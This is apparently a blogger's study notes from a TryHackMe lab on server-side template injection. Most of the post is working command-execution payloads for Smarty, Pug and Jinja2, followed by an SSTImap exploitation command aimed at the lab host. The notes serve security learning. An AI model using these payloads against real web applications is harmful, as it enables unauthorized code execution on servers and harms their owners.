tryhackme Server-side Template Injection

https://tryhackme.com/room/serversidetemplateinjection

Server-side Template Injection

SSTI

常见模板引擎
Jinja2
Twig
Pug / Jade

PHP - Smarty

{'Hello'|upper}

HELLO

{system("ls")}

NodeJs - Pug(原名 Jade)

#{root.process.mainModule.require('child_process').spawnSync('ls').stdout}

#{root.process.mainModule.require('child_process').spawnSync('ls', ['-lah']).stdout}

python - Jinja2

{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("ls")}}


{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output(['ls', '-lah'])}}

自动化利用

https://github.com/vladko312/SSTImap

git clone https://github.com/vladko312/SSTImap.git
cd SSTImap
pip install -r requirements.txt

python3 sstimap.py -X POST -u 'http://ssti.thm:8002/mako/' -d 'page='

posted @ 2026-08-25 17:27  sec875  阅读(4)  评论(0)    收藏  举报